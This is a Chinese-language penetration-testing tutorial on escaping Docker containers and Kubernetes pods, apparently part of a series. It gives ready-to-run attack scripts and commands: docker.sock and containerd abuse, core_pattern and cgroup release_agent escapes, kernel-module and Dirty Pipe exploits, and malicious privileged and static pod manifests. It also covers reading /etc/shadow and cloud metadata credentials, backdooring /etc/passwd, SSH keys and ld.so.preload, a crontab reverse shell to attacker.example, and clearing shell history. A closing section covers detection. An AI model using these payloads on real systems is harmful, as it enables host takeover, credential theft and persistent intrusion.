一、逃逸之前先搞清楚自己在哪
容器逃逸最常见的问题不是手法不够,是上来就跑错 payload。看到一个 --privileged 的容器就急着挂盘,结果发现根本没有块设备;看到一个普通容器就放弃了,其实 /proc/sys 是可写的。
这一节的目标是:拿到一个容器内的 shell 之后,用三十秒把”我在什么容器里、有什么能力、缺什么”判断清楚,然后才决定走哪条路。
1.1 先判断是不是容器
# 三种判断方式,命中任意一条基本可以确认
ls -la /.dockerenv
cat /proc/1/cgroup
cat /proc/1/sched | head -1
# 是不是 K8s
ls /var/run/secrets/kubernetes.io/serviceaccount/
env | grep -i kubernetes
/.dockerenv 存在就是 Docker 容器。/proc/1/cgroup 里出现 docker、kubepods、containerd 这类字符串也是。/proc/1/sched 第一行如果是容器内的进程名而不是宿主机的 systemd,说明 PID 是隔离的(如果第一行显示宿主机 PID 编号且值很大,说明用了 --pid=host,这是好消息)。
一个容易看错的点:/proc/1/cgroup 在某些环境下只显示 /,这不能说明不是容器,只说明 cgroup 信息被隐藏了。要以 /.dockerenv 和 hostname 为准。
1.2 capabilities 是逃逸的第一线索
容器逃逸的本质,几乎都可以归结为”这个容器被授予了本该属于宿主机的某个能力”。所以枚举 capability 比枚举任何东西都重要。
# 首选,输出最直观
capsh --print
# 没有 capsh 时直接读 status
grep -E 'Cap(Inh|Prm|Eff|Bnd)' /proc/self/status
CapEff 是一串十六进制位图,需要解码。capsh --decode 最方便:
capsh --decode=0000003fffffffff
没有 capsh 时用这段 python:
python3 -c "
cap = {0:'CHOWN',1:'DAC_OVERRIDE',2:'DAC_READ_SEARCH',3:'FOWNER',4:'FSETID',5:'KILL',6:'SETGID',7:'SETUID',8:'SETPCAP',9:'LINUX_IMMUTABLE',10:'NET_BIND_SERVICE',11:'NET_BROADCAST',12:'NET_ADMIN',13:'NET_RAW',14:'IPC_LOCK',15:'IPC_OWNER',16:'SYS_MODULE',17:'SYS_RAWIO',18:'SYS_CHROOT',19:'SYS_PTRACE',20:'SYS_PACCT',21:'SYS_ADMIN',22:'SYS_BOOT',23:'SYS_NICE',24:'SYS_RESOURCE',25:'SYS_TIME',26:'SYS_TTY_CONFIG',27:'MKNOD',28:'LEASE',29:'AUDIT_WRITE',30:'AUDIT_CONTROL',31:'SETFCAP',32:'MAC_OVERRIDE',33:'MAC_ADMIN',34:'SYSLOG',35:'WAKE_ALARM',36:'BLOCK_SUSPEND',37:'AUDIT_READ'}
v = int(open('/proc/self/status').read().split('CapEff:')[1].split()[0], 16)
print(' '.join(n for b, n in cap.items() if v >> b & 1))
"
拿到列表之后,对照下面这张表,看哪一个能直接用:
| Capability | 能做什么 | 逃逸路径 |
|---|---|---|
CAP_SYS_ADMIN | 挂载文件系统、操作 cgroup | cgroup release_agent、挂载宿主机设备、/proc/sys 写入 |
CAP_SYS_MODULE | 加载内核模块 | insmod 一个执行命令的模块 |
CAP_SYS_PTRACE | ptrace 其他进程 | 配合 --pid=host 注入宿主机进程 |
CAP_SYS_RAWIO | 直接读写内核内存 | /dev/mem、/dev/kmem(现代内核默认禁用,多数情况不可用) |
CAP_MKNOD | 创建设备节点 | 造一个指向宿主机磁盘的块设备 |
CAP_DAC_READ_SEARCH | 绕过文件权限读取 | open_by_handle_at() 读宿主机任意文件 |
CAP_NET_ADMIN | 网络配置 | 与宿主机共享网络命名空间时劫持流量 |
CAP_SYS_CHROOT | 调用 chroot | 配合已挂载的宿主机根目录 |
CAP_SYS_ADMIN 是最值钱的一个。默认的 Docker 容器不给它,K8s 的 privileged: true 会给全部 capability 并放开 device cgroup 限制。
有一个例外要记住:nsenter 不需要 privileged,只需要 --pid=host 和 CAP_SYS_ADMIN。很多”以为要 privileged 才能逃逸”的场景,其实只要 PID 命名空间共享就够。
1.3 挂载点、设备、socket
# 挂载点,重点看有没有挂宿主机目录
mount
cat /proc/mounts | grep -E 'docker.sock|/proc|/sys|/root| /host'
# socket,看到任意一个都意味着可以直接命令运行时
ls -la /var/run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sock 2>/dev/null
# 设备和内核参数
ls /dev
fdisk -l 2>/dev/null
cat /proc/partitions
cat /proc/sys/kernel/core_pattern
cat /proc/sys/kernel/modprobe
uname -a
# 直接验证 docker.sock 是否可用
curl -s --unix-socket /var/run/docker.sock http://localhost/version
docker -H unix:///var/run/docker.sock ps 2>/dev/null
四个判断结论:
- 看到
/var/run/docker.sock→ 走 2.1 节,这是最稳的一条。 mount输出里/proc没有ro且能看到/proc/sys/kernel/core_pattern→ 走 2.2 节。- 看到
-v /:/host之类的挂载 → 走 2.3 节。 - 什么都没看到,但
CapEff很高 → 走第三节或第四节。
1.4 一份可直接跑的信息收集脚本
把上面的检查串起来,贴进目标容器就能跑:
#!/bin/bash
echo "=== container ==="
ls -la /.dockerenv 2>/dev/null && echo "[+] docker env found"
cat /proc/1/cgroup | head -3
echo "=== k8s ==="
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null && echo "[+] k8s SA"
echo "=== caps ==="
capsh --print 2>/dev/null | grep -i current || grep CapEff /proc/self/status
echo "=== mounts ==="
mount | grep -E 'docker.sock|containerd.sock|/host| /proc | /sys '
echo "=== sockets ==="
ls -la /var/run/docker.sock /run/containerd/containerd.sock 2>/dev/null
echo "=== kernel ==="
uname -r
cat /proc/sys/kernel/core_pattern 2>/dev/null
cat /proc/sys/kernel/modprobe 2>/dev/null
echo "=== devices ==="
ls /dev | tr '\n' ' '
echo
echo "=== env ==="
env | grep -iE 'kube|aws|aliyun|tencent|azure|gcp|token'
echo "=== host root? ==="
for d in /host /mnt /root /media; do [ -d "$d" ] && ls "$d" 2>/dev/null | head -3; done
二、危险挂载:最常见的成功路径
2.1 docker.sock 挂载
条件:宿主机的 /var/run/docker.sock 被挂进了容器,且容器内是 root 或与 socket 同组。这是实战里命中率最高的一条,因为很多 CI Runner、监控 Agent、运维工具容器都会挂它。
最直接的做法是用容器内的 docker 客户端起一个挂载宿主机根的容器:
docker -H unix:///var/run/docker.sock run -it --privileged -v /:/host alpine chroot /host bash
进到 /host 之后,/host/etc/shadow、/host/root/.ssh/、/host/etc/kubernetes/ 全都可读写。
没有 docker 客户端时,直接调 Docker Engine API。分成三步:
# 第一步:创建容器
curl -s --unix-socket /var/run/docker.sock -X POST \
-H 'Content-Type: application/json' \
-d '{"Image":"alpine","Cmd":["cat","/host/etc/shadow"],
"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
'http://localhost/containers/create?name=pwn'
# 第二步:启动
curl -s --unix-socket /var/run/docker.sock -X POST \
http://localhost/containers/pwn/start
# 第三步:读输出
curl -s --unix-socket /var/run/docker.sock \
'http://localhost/containers/pwn/logs?stdout=1&stderr=1'
Binds 是挂载,Privileged: true 给全部 capability。这两项一加,等于直接拿到宿主机 root。
如果挂的是 containerd 的 socket 而不是 docker.sock,用 ctr:
ctr -a /run/containerd/containerd.sock -n k8s.io run --privileged \
--mount type=bind,src=/,dst=/host \
docker.io/library/alpine pwn sh
注意 -n k8s.io 这个命名空间参数,K8s 的容器都在这个 namespace 下。
2.2 /proc 挂载可写 + core_pattern
条件:容器是 privileged 或加了 --pid=host,并且 /proc/sys 可写。Linux 的 core dump 机制允许用一个程序接管崩溃转储,这个程序以触发崩溃的进程所属的命名空间里的 root 执行。如果 /proc/sys/kernel/core_pattern 可写,就能让宿主机执行任意命令。
这里有一个容易踩的坑:内核在解析 core_pattern 时只按空格切分参数,不做引号解析。所以 |/bin/sh -c "cp a b" 这种写法是无效的,内核会把 "cp 当成一个完整的参数传进去。正确做法是先写一个脚本,再让 core_pattern 指向它:
# 在容器内写脚本
cat > /tmp/coredump.sh <<'EOF'
#!/bin/sh
cp /proc/1/root/root/.ssh/id_rsa /tmp/k
EOF
chmod +x /tmp/coredump.sh
# 让内核把 core 交给这个脚本处理,| 开头表示管道给程序
echo '|/tmp/coredump.sh' > /proc/sys/kernel/core_pattern
# 触发一个崩溃
ulimit -c unlimited
sleep 1000 &
kill -SEGV $!
/proc/1/root/ 在 PID 共享的情况下指向宿主机的根文件系统。脚本路径是相对于崩溃进程所在挂载命名空间的根解析的,所以用容器内的 /tmp/coredump.sh 即可。
验证是否成功:
ls -la /tmp/k
如果写进去不生效,先确认 mount | grep proc 里 /proc 没有 ro 标志。另外这个脚本本身的路径不能超过内核的 core_pattern 长度限制(约 128 字节),路径太深要换短一点的位置。
2.3 宿主机目录被挂载
条件:-v /:/host、-v /etc:/host/etc、-v /root:/root 这类挂载。
挂了宿主机根目录时:
chroot /host bash
直接就是宿主机的 root shell。
只挂了 /etc:
# 加一个 uid 为 0 的用户
echo 'pwn::0:0::/root:/bin/bash' >> /host/etc/passwd
echo 'pwn:x:0:0::/root:/bin/bash' >> /host/etc/shadow
# 或者直接写 SSH 公钥
mkdir -p /host/root/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@example' >> /host/root/.ssh/authorized_keys
chmod 600 /host/root/.ssh/authorized_keys
ld.so.preload 是个更隐蔽的后门,可以让宿主机上所有动态链接的程序加载指定库:
echo '/tmp/libpwn.so' >> /host/etc/ld.so.preload
写 crontab 也是常规操作:
echo '* * * * * root bash -i >& /dev/tcp/attacker.example/4444 0>&1' >> /host/etc/crontab
在授权测试里,这三种写文件的操作都要先确认授权范围,并且测试完必须清理。
三、cgroup release_agent 逃逸
这是最经典的一条,也是最容易被写错的一条。
原理:cgroup v1 的每个 cgroup 都有一对文件 notify_on_release 和 release_agent。当设置了 notify_on_release=1 的 cgroup 里最后一个进程退出时,内核会以宿主机 root 权限执行 release_agent 指定的程序。而这个路径可以指向容器内我们控制的脚本。
条件(缺一不可):
- 系统在使用 cgroup v1。这一点不能靠内核版本推断,要用
mount | grep cgroup或stat -fc %T /sys/fs/cgroup现场确认(返回cgroup2fs就是 v2,返回tmpfs就是 v1)。 - 容器有
CAP_SYS_ADMIN,或者内核允许非特权用户创建新的 user namespace 并能挂载 cgroup(这就是 CVE-2022-0492)。 release_agent和notify_on_release在顶层 cgroup 上可写。
完整利用脚本:
#!/bin/sh
CGRP=/tmp/cgrp
mkdir -p $CGRP
# 挂载一个新的 cgroup 子系统,cgroup v1 才支持
mount -t cgroup -o rdma cgroup $CGRP 2>/dev/null || \
mount -t cgroup -o memory cgroup $CGRP
# 在这个 cgroup 下建一个子 cgroup
mkdir $CGRP/x
# 开启 notify_on_release,最后进程退出时会执行 release_agent
echo 1 > $CGRP/x/notify_on_release
# 关键一步:算出容器根文件系统在宿主机上的绝对路径
HOSTPATH=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -1)
# 把 release_agent 指向容器内的脚本
echo "$HOSTPATH/tmp/exp.sh" > $CGRP/release_agent
# 写脚本,注意这里执行时的身份是宿主机 root
printf '#!/bin/sh\nid > /output\ncat /etc/shadow > /output.shadow\n' > /tmp/exp.sh
chmod +x /tmp/exp.sh
# 触发:把一个进程放进 x,然后让它退出
sh -c "echo \$\$ > $CGRP/x/cgroup.procs"
sleep 1
cat /output.shadow
HOSTPATH 这一步是整个脚本里最容易出错的地方。/etc/mtab 里记录的挂载项会带 perdir= 参数,它就是容器当前根目录在宿主机上的路径,形如 /var/lib/docker/overlay2/<hash>/diff。release_agent 必须是宿主机视角的绝对路径,所以必须做这个转换。
如果容器里没有 /etc/mtab,可以换成从 /proc/self/mountinfo 解析:
cat /proc/self/mountinfo | grep -m1 ' / '
没有 CAP_SYS_ADMIN 的情况(CVE-2022-0492):如果内核允许非特权用户创建 user namespace,可以先进一个新命名空间拿到 CAP_SYS_ADMIN,再跑上面的脚本:
unshare -UrmC --propagation private bash -c '<上面的脚本>'
-U 是 user namespace,-r 把当前用户映射成新命名空间里的 root,-m 是 mount,-C 是 cgroup。这个组合在 kernel.unprivileged_userns_clone=1 且内核版本落在 2.6.24 到 5.16 区间的机器上有效。不同发行版对这个漏洞的修补情况差异很大,命中率要现场验证。
一条反面提醒:cgroup v2 没有 release_agent 这个文件。如果 mount -t cgroup 失败并且 /sys/fs/cgroup 下看不到 cgroup.controllers 以外的东西,说明系统用的是 v2,这条路直接放弃,别浪费时间。
四、特权容器与 capabilities
4.1 特权容器直接挂宿主磁盘
条件:--privileged,此时 device cgroup 限制被放开,容器能看到宿主机所有块设备。
# 先看有什么设备
fdisk -l
lsblk
cat /proc/partitions
# 挂载宿主机的根分区
mkdir -p /mnt/h
mount /dev/sda1 /mnt/h
chroot /mnt/h bash
常见的设备名是 /dev/sda1、/dev/vda1(KVM)、/dev/nvme0n1p1。不确认的话,lsblk 的 MOUNTPOINT 列会告诉你哪个是根分区。
如果是 LVM:
vgscan
vgchange -ay
lvs
mount /dev/vg0/root /mnt/h
如果容器里连块设备节点都没有,但有 CAP_MKNOD,可以自己造一个。主设备号和次设备号从 lsblk 或者宿主机信息里拿,sda1 通常是 8:1:
mknod /tmp/sda1 b 8 1
mount /tmp/sda1 /mnt
4.2 CAP_SYS_MODULE 加载内核模块
条件:有 CAP_SYS_MODULE,并且容器内能访问匹配当前内核版本的模块编译环境或已有 .ko 文件。
最省的写法是直接写一个执行命令的模块:
// /tmp/r.c
#include <linux/module.h>
#include <linux/kmod.h>
static int __init p(void) {
char *argv[] = {"/bin/sh", "-c", "cat /etc/shadow > /host/tmp/s", NULL};
char *envp[] = {NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
return 0;
}
static void __exit q(void) {}
module_init(p);
module_exit(q);
MODULE_LICENSE("GPL");
编译并加载:
make -C /lib/modules/$(uname -r)/build M=/tmp modules
insmod /tmp/r.ko
实战里几乎不可能在目标容器内编译成功,因为容器里没有内核头文件。可行做法是在本地编译出与目标内核版本严格一致的 .ko,再想办法传进去。uname -r 的输出必须完全匹配,差一个小版本都会加载失败。所以这条路在授权测试里通常只做验证,不实际投递模块。
4.3 其余 capability 的利用
CAP_SYS_PTRACE + --pid=host:直接进宿主机的命名空间。
nsenter -t 1 -m -u -i -n -p -- bash
没有 nsenter 时用 gdb 注入 PID 1:
gdb -p 1 -batch -ex 'call system("id")'
CAP_NET_ADMIN:如果和宿主机共享网络命名空间,可以做流量劫持。
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
ip link set eth0 promisc on
CAP_DAC_READ_SEARCH:用 open_by_handle_at() 绕过文件权限检查读宿主机文件。shocker 是最经典的实现:
git clone https://github.com/gabrtv/shocker
cd shocker
make
./shocker /etc/hosts /etc/shadow
这个手法在内核 5.x 上成功率明显下降,因为需要拿到目标文件所在的同一文件系统句柄。用在老内核上更靠谱。
CAP_SYS_RAWIO:理论上可以通过 /dev/mem 读写内核内存,但现代内核默认开启了 CONFIG_STRICT_DEVMEM,这条路在实际环境里基本已经不可用。
五、内核漏洞
内核漏洞的特点是危害大、但风险也大。在客户环境里跑内核 exploit 有可能直接把机器打挂,所以授权测试前必须确认清楚。
| CVE | 影响版本 | 利用条件 | 备注 |
|---|---|---|---|
| CVE-2022-0492 | 内核 2.6.24 – 5.16 | 可写 cgroup v1 + 允许非特权 user namespace | 即第三节的 user-ns 变体 |
| CVE-2019-5736 | runc ≤ 1.0-rc6,Docker < 18.09.2 | 能 docker exec 进容器,或宿主机执行容器内二进制 | 覆写宿主 runc,exploit-db 61229 |
| CVE-2020-15257 | containerd < 1.3.9 / < 1.4.3 | 容器使用 host 网络(--net=host) | 通过 abstract socket 让 shim 执行命令 |
| CVE-2021-22555 | 内核 2.6.19 – 5.12 | 有 CAP_NET_ADMIN | netfilter 堆溢出 |
| CVE-2021-25741 | kubelet < 1.19.15 / 1.20.11 / 1.21.5 / 1.22.2 | 已有 Pod 且能在卷内建符号链接 | subPath 软链指向宿主根 |
| CVE-2022-0847 | 内核 5.8 – 5.16.11 / 5.15.25 / 5.10.102 | 任意本地用户 | Dirty Pipe,覆写只读文件 |
| CVE-2022-0185 | 内核 5.1 – 5.16.2 | user namespace 内的 CAP_SYS_ADMIN | fsconfig 堆溢出,覆写 modprobe_path |
| CVE-2024-21626 | runc ≤ 1.1.11,Docker < 25.0.2 | 可控镜像 WORKDIR 或 -w 参数 | Leaky Vessels,文件描述符泄漏 |
**CVE-2022-0847(Dirty Pipe)**是这里面门槛最低的一个,因为不需要任何 capability,任意本地用户都能用:
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
cd CVE-2022-0847-DirtyPipe-Exploits
./compile.sh
# 直接改 /etc/passwd 里 root 的密码为已知值
./exploit-2 /etc/passwd
su root
CVE-2022-0185 的思路值得记一下:利用 fsconfig 的整数下溢造成堆溢出,最终覆写全局变量 modprobe_path。覆写之后,只要触发一次”执行一个未知格式的二进制文件”,内核就会以 root 身份去执行 modprobe_path 指向的程序。这是一类通用思路,Dirty Pipe 之外的很多提权也是这么收尾的。
# 触发 modprobe_path
echo -ne '\xff\xff\xff\xff' > /tmp/trigger
chmod +x /tmp/trigger
/tmp/trigger
**CVE-2024-21626(Leaky Vessels)**比较新,利用 runc 在处理工作目录时的文件描述符泄漏,把容器的工作目录设到 /proc/self/fd/7 这类路径上,就能突破到宿主机文件系统:
docker run -w /proc/self/fd/7 alpine ls /
docker exec -w /proc/self/fd/7 <container> sh -c 'cat /etc/shadow'
在授权测试里,我的一般原则是:本地能复现的内核 exploit 不用在客户环境跑,报告里给版本和 PoC 链接、说明理论可行即可。真要在客户环境验证,先拿到书面确认,并准备好机器崩溃后的恢复方案。
六、Kubernetes 场景下的逃逸
K8s 里的逃逸本质上和 Docker 一样,只是入口变成了 Pod 的 securityContext 和 volumeMounts。这部分和第五篇有交叉,这里只讲从容器侧观测到的特征。
6.1 判断自己是不是特权 Pod
# 有这些特征基本可以确认是 privileged
ls /dev | wc -l # 特权容器能看到宿主机全部设备
cat /proc/self/status | grep CapEff # 应该是 0000003fffffffff 或接近
mount | grep -c ' / ' # 有些特权 Pod 会挂宿主机根
6.2 标准逃逸 YAML
如果已经拿到 create pods 权限,直接起一个逃逸 Pod。这是最常用的模板:
apiVersion: v1
kind: Pod
metadata:
name: pwn
namespace: kube-system
spec:
hostPID: true
hostNetwork: true
containers:
- name: c
image: alpine
command: ["nsenter", "-t", "1", "-m", "-u", "-i", "-n", "-p", "--", "chroot", "/host", "bash"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: h
volumes:
- name: h
hostPath:
path: /
三个关键字段:hostPID: true 让容器看到宿主机进程,privileged: true 给全部 capability,hostPath: / 把宿主机根挂进来。nsenter -t 1 进 PID 1 的命名空间,再 chroot /host 就落到宿主机根。
6.3 只有 hostPID 没有 privileged
这条经常被忽略。只要 hostPID: true 且有 CAP_SYS_ADMIN(默认不给,但有些镜像会加),不需要 privileged:
nsenter -t 1 -m -u -i -n -p -- bash
6.4 hostPath 挂载的典型场景
看到这些挂载点就要意识到风险:
| 挂载路径 | 能做什么 |
|---|---|
/ | 直接读写宿主机全部文件 |
/var/run/docker.sock | 走 2.1 节 |
/proc | 走 2.2 节的 core_pattern |
/etc | 加用户、写 SSH key、写 crontab |
/var/lib/kubelet | 写 static pod manifest,让 kubelet 拉起恶意 Pod |
/var/log | 写日志、可能触发日志采集器的命令执行 |
/var/lib/kubelet 特别值得注意。写一个 static pod 到 /var/lib/kubelet/manifests/ 或者 /etc/kubernetes/manifests/,kubelet 会自动把它拉起来:
cat > /var/lib/kubelet/manifests/backdoor.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
name: static-pwn
namespace: kube-system
spec:
hostNetwork: true
hostPID: true
containers:
- name: c
image: alpine
command: ["sh", "-c", "nsenter -t 1 -m -u -i -n -p -- sh -c 'id; chroot /host sh'"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: h
volumes:
- name: h
hostPath:
path: /
EOF
注意 static pod 的实际 manifest 目录由 kubelet 的 --pod-manifest-path 或 staticPodPath 配置决定,不一定是 /etc/kubernetes/manifests,现场要先读 kubelet 配置确认。
6.5 逃逸后打 kubelet 和元数据
拿到 hostNetwork 或宿主机权限之后,两个高价值目标:
# kubelet 只读接口,能列出节点上所有 Pod
curl -sk https://127.0.0.1:10250/pods
# 云元数据,这一条通向云账号
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/
curl -s http://metadata.tencentyun.com/latest/meta-data/
第二条是整条攻击链里最关键的一次跳跃。容器逃逸拿到的只是一台节点,元数据拿到的是云账号的临时凭证,后面能操作的就变成整个云环境了。这部分在第二篇和第五篇展开。
七、拿到宿主机权限之后
7.1 优先做的事
# 确认身份
id; hostname; uname -a
# 集群凭据,这是最有价值的文件
cat /etc/kubernetes/admin.conf
ls -la /etc/kubernetes/
cat /var/lib/kubelet/kubeconfig
# 找其他节点和服务的凭据
grep -rIl 'client-key-data\|Bearer ' /etc /root /home 2>/dev/null | head
find / -name '*.kubeconfig' -o -name 'kubeconfig' 2>/dev/null | head
# 云侧凭据
cat /root/.aws/credentials 2>/dev/null
cat /root/.aliyun/config.json 2>/dev/null
cat /root/.tccli/default.credential 2>/dev/null
/etc/kubernetes/admin.conf 是最高价值的文件,它里面的客户端证书通常直接对应 system:masters 组,等同于 cluster-admin。拿到它,第五篇的内容就不需要打了。
7.2 清理
授权测试的清理环节和数据获取环节同等重要。这里给一份清单:
# 还原被改的内核参数
echo core > /proc/sys/kernel/core_pattern
sysctl -w kernel.modprobe=/sbin/modprobe
# 删除临时文件
rm -rf /tmp/cgrp /tmp/r.* /tmp/exp.sh /tmp/*.so
rmmod r 2>/dev/null
# 删除后门条目
sed -i '/backdoor:/d' /host/etc/shadow
sed -i '/libpwn/d' /host/etc/ld.so.preload
sed -i '/ATTACKER/d' /host/etc/crontab
# 删除测试用的 Pod 和容器
kubectl delete pod pwn --force --grace-period=0
docker rm -f pwn
# 清理命令历史
history -c
unset HISTFILE
/etc/shadow、/etc/passwd、authorized_keys、ld.so.preload 这几个文件在修改前必须先备份原文件,清理时用备份还原,比用 sed 删除更可靠。
八、防守方视角:这些动作怎么被发现
逃逸的技术手段在变,但留下的痕迹相对固定。几个高价值的检测点:
# 内核参数被改
cat /proc/sys/kernel/core_pattern
cat /proc/sys/kernel/modprobe
grep -r . /sys/fs/cgroup/*/release_agent 2>/dev/null
# 特权容器
docker ps -q | xargs docker inspect --format '{{.Id}} {{.HostConfig.Privileged}} {{.Mounts}}'
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged)'
# 审计日志
ausearch -k container_escape -i
容器内的自查工具:
amicontained # 检查 capability 和命名空间
./cdk evaluate # 环境评估
./deepce.sh # 综合信息收集与提权建议
运行时检测层面,Falco 和 Tetragon 是最常用的两个。需要重点告警的行为:
- 写入
/proc/sys/kernel/* - 在容器内执行
mount、nsenter、unshare - 访问
/var/run/docker.sock、/run/containerd/containerd.sock - 容器内出现新的
/dev块设备访问 - 以
privileged: true创建容器或 Pod - 对
/etc/kubernetes/下文件的读取
给一条 Falco 规则的思路:监控 open_write 且目标文件为 /proc/sys/kernel/core_pattern 或 /proc/sys/kernel/modprobe,几乎可以确定是逃逸尝试。
下一篇讲第五篇:Kubernetes 集群渗透。会系统讲集群有哪几个不需要认证就能进的入口、RBAC 里哪些权限组合等于管理员、以及从一个普通 Pod 内的 ServiceAccount token 到 cluster-admin 的完整链条。